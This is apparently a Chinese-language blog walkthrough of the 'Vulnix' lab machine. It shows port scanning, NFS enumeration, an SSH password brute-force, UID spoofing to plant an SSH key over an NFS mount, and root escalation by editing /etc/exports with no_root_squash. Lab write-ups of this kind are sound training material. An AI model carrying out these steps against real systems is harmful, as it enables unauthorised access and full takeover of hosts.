Vulnx

2023-09-13 10:08 由吴语` 发表于 #其他

靶机IP 192.168.1.135
kaliIP 192.168.1.128
信息收集

sudo nmap --min-rate 10000 -p- 192.168.1.135
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-11 10:13 CST
Nmap scan report for bogon (192.168.1.135)
Host is up (0.0018s latency).
Not shown: 65518 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
79/tcp    open  finger
110/tcp   open  pop3
111/tcp   open  rpcbind
143/tcp   open  imap
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
993/tcp   open  imaps
995/tcp   open  pop3s
2049/tcp  open  nfs
35745/tcp open  unknown
44010/tcp open  unknown
50309/tcp open  unknown
55641/tcp open  unknown
59567/tcp open  unknown

sudo nmap -sT -sV -O -p- 192.168.1.135      

Not shown: 65518 closed tcp ports (conn-refused)
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
25/tcp    open  smtp       Postfix smtpd
79/tcp    open  finger     Linux fingerd
110/tcp   open  pop3?
111/tcp   open  rpcbind    2-4 (RPC #100000)
143/tcp   open  imap       Dovecot imapd
512/tcp   open  exec       netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell?
993/tcp   open  ssl/imap   Dovecot imapd
995/tcp   open  ssl/pop3s?
2049/tcp  open  nfs        2-4 (RPC #100003)
35745/tcp open  mountd     1-3 (RPC #100005)
44010/tcp open  nlockmgr   1-4 (RPC #100021)
50309/tcp open  mountd     1-3 (RPC #100005)
55641/tcp open  mountd     1-3 (RPC #100005)
59567/tcp open  status     1 (RPC #100024)
MAC Address: 00:0C:29:5E:A3:8D (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host:  vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel
关注点：


smtp服务（25）
简单邮件远程传输服务，可能需要pop3（110）和imap服务（143），可能存在弱口令爆破。
finger服务（79）
用于查询主机或者用户的信息
rpcbind服务（111）
远程过程调用，简单的理解是一个节点请求另一个节点提供的服务，可以进行枚举
rsh服务
linux远程连接，需要密码，可能存在爆破

rpcinfo -p 192.168.1.135
   program vers proto   port  service
    100000    4   tcp    111  portmapper
    100000    3   tcp    111  portmapper
    100000    2   tcp    111  portmapper
    100000    4   udp    111  portmapper
    100000    3   udp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  53781  status
    100024    1   tcp  59567  status
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100227    2   tcp   2049  nfs_acl
    100227    3   tcp   2049  nfs_acl
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100227    2   udp   2049  nfs_acl
    100227    3   udp   2049  nfs_acl
    100021    1   udp  42327  nlockmgr
    100021    3   udp  42327  nlockmgr
    100021    4   udp  42327  nlockmgr
    100021    1   tcp  44010  nlockmgr
    100021    3   tcp  44010  nlockmgr
    100021    4   tcp  44010  nlockmgr
    100005    1   udp  38329  mountd
    100005    1   tcp  35745  mountd
    100005    2   udp  42275  mountd
    100005    2   tcp  55641  mountd
    100005    3   udp  45218  mountd
    100005    3   tcp  50309  mountd

nfs侦听2049端口的tcp服务和udp服务

showmount -e 192.168.1.135
Export list for 192.168.1.135:
/home/vulnix *

意味着可以从任何主机访问共享。因此将该共享的位置安装在本地计算机上
打开提示权限不够，应该是设置了root_squash
no_root_squash：登入 NFS 主机使用分享目录的使用者，如果是 root 的话，那么对于这个分享的目录来说，他就具有 root 的权限！这个项目『极不安全』，不建议使用！
root_squash：在登入 NFS 主机使用分享之目录的使用者如果是 root 时，那么这个使用者的权限将被压缩成为匿名使用者，通常他的 UID 与 GID 都会变成 nobody 那个系统账号的身份。
枚举smtp用户，发现root，user和vulnix账号，通过hydra只能爆破出user的密码，

ACCOUNT FOUND: [ssh] Host: 192.168.1.135 User: user Password: letmein [SUCCESS]
user：letmein
user@vulnix:~$ ls
user@vulnix:~$ whoami
user
user@vulnix:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),100(users)
user@vulnix:~$ uname -a
Linux vulnix 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux

没有利用的数据，无思路。
看了一下WP，思路为：

将靶机的/home/vulnix目录通过nfs服务挂载到本地/tmp/vulnix中
切换到kali的vulnix用户
将当前用户的ssh公钥复制到/tmp目录
将ssh公钥复制到远程目录中的authorized_keys文件
通过ssh免密登录靶机的vulnix用户
之后在进行提权操作

在Linux系统中,每个用户都有一个唯一的用户ID(uid)。ssh登录时,服务器端会校验连接用户的uid和authorized_keys文件所属的uid是否一致。如果不一致的话,ssh登录会失败。所以kali中vulnix用户UID必须和靶机相同。
查看vulnix用户的uid

user@vulnix:~$ cat /etc/passwd |grep bash
root:x:0:0:root:/root:/bin/bash
user:x:1000:1000:user,,,:/home/user:/bin/bash
vulnix:x:2008:2008::/home/vulnix:/bin/bash

kali新建用户vulnix，设置密码，UID。

useradd -m vulnix   
                                                                                                                                                       
passwd vulnix 
  
新的密码： 
重新输入新的密码： 
passwd：已成功更新密码

leafpad /etc/passwd
vulnix:x:2008:2008::/home/vulnix:/bin/bash

注： -m 生成用户的目录
挂载
mount -t nfs 192.168.1.135:/home/vulnix /tmp/mount/
切换
su vulnix
$ bash
建立公私钥对

ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/vulnix/.ssh/id_rsa): 
Created directory '/home/vulnix/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/vulnix/.ssh/id_rsa
Your public key has been saved in /home/vulnix/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:2oDhnxJHWud5qTfFGW6m6w8pPEHo218RGPpYtkygZGs vulnix@kali
The key's randomart image is:
+---[RSA 3072]----+
|      o . .      |
|     o + o o     |
|    . E + = o    |
|   . O + O = +   |
|    = + S * O    |
|     + O + * .   |
|    . = B * .    |
|     .   = =     |
|         .+..    |
+----[SHA256]-----+

注：id_rsa私钥 id_rsa.pub公钥，需要将公钥放到在本地挂载的目录下
cp ~/.ssh/id_rsa.pub /tmp/mount/.ssh/authorized_keys
或者
cat ~/.ssh/id_rsa.pub >/tmp/mount/.ssh/authorized_keys
ssh连接
ssh -o 'PubkeyAcceptedKeyTypes=+ssh-rsa' -i ~/.ssh/id_rsa vulnix@192.168.1.135 -v
注：
-i 指定私钥文件；
另目前最新的Linux的ssh不支持ssh-dss（据说是不安全，所以不建议再ssh.configer中修改），所以临时加上参数 -o
注意密钥文件(~/.ssh/id_rsa 和 /tmp/mount/.ssh/authorized_keys )的权限.(我改为777一直上不去，卡了一天 ╮(~￣▽￣)╭ )
https://blog.csdn.net/u010694718/article/details/104804066#:_{:text=%E9%A6%96%E5%85%88%E8%AE%BE%E7%BD%AE}%2F.ssh%E7%9B%AE%E5%BD%95%E6%9D%83%E9%99%90%E4%B8%BA700%EF%BC%8C%E7%84%B6%E5%90%8E%E8%AE%BE%E7%BD%AEauthorized_keys%E6%9D%83%E9%99%90%E4%B8%BA600%E3%80%82%20cd%20_{%20chmod%20700%20}%2F.ssh,cd%20~%2F.ssh%20chmod%20600%20authorized_keys%201

vlnix@vulnix:~$ whoami
vulnix

切换成功,开始提权。

vulnix@vulnix:/$ sudo -l
Matching 'Defaults' entries for vulnix on this host:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User vulnix may run the following commands on this host:
    (root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit
    /etc/exports

打开 /etc/exports添加 /root *(rw,no_root_squash) 将靶机的root目录通过nfs共享出来

vulnix@vulnix:/etc$ sudoedit /etc/exports 
sudoedit: /etc/exports unchanged

重启靶机读取nfs配置文件
kali新建/tmp/v,将靶机root目录挂载到/tmp/v
mount -t nfs 192.168.1.135:/root /tmp/v
重新生成公私钥对，将公钥赋给靶机后通过ssh连接。

┌──(root㉿kali)-[~/.ssh]
└─# ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:84l0+6YMhIOFm2J9Bm46edZUOd0At8Caug1dx6YwaAs root@kali
The key's randomart image is:
+---[RSA 3072]----+
|       .o.o      |
|     .  .= +     |
|    o..o+.o .    |
|  Eoo*=o..+      |
|  ooB+*+S+.      |
| . =+=.+.= o     |
|  + o+. o +      |
|   +. .  o ..    |
|          oo.    |
+----[SHA256]-----+
┌──(root㉿kali)-[~/.ssh]
└─# cp ~/.ssh/id_rsa.pub /tmp/v/.ssh/authorized_keys 
┌──(root㉿kali)-[/tmp/v/.ssh]
└─# ssh -o 'PubkeyAcceptedKeyTypes=+ssh-rsa' -i ~/.ssh/id_rsa root@192.168.1.135 -v
root@vulnix:~# whoami
root
root@vulnix:~# uname -a
Linux vulnix 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux
root@vulnix:~# id
uid=0(root) gid=0(root) groups=0(root)

提权成功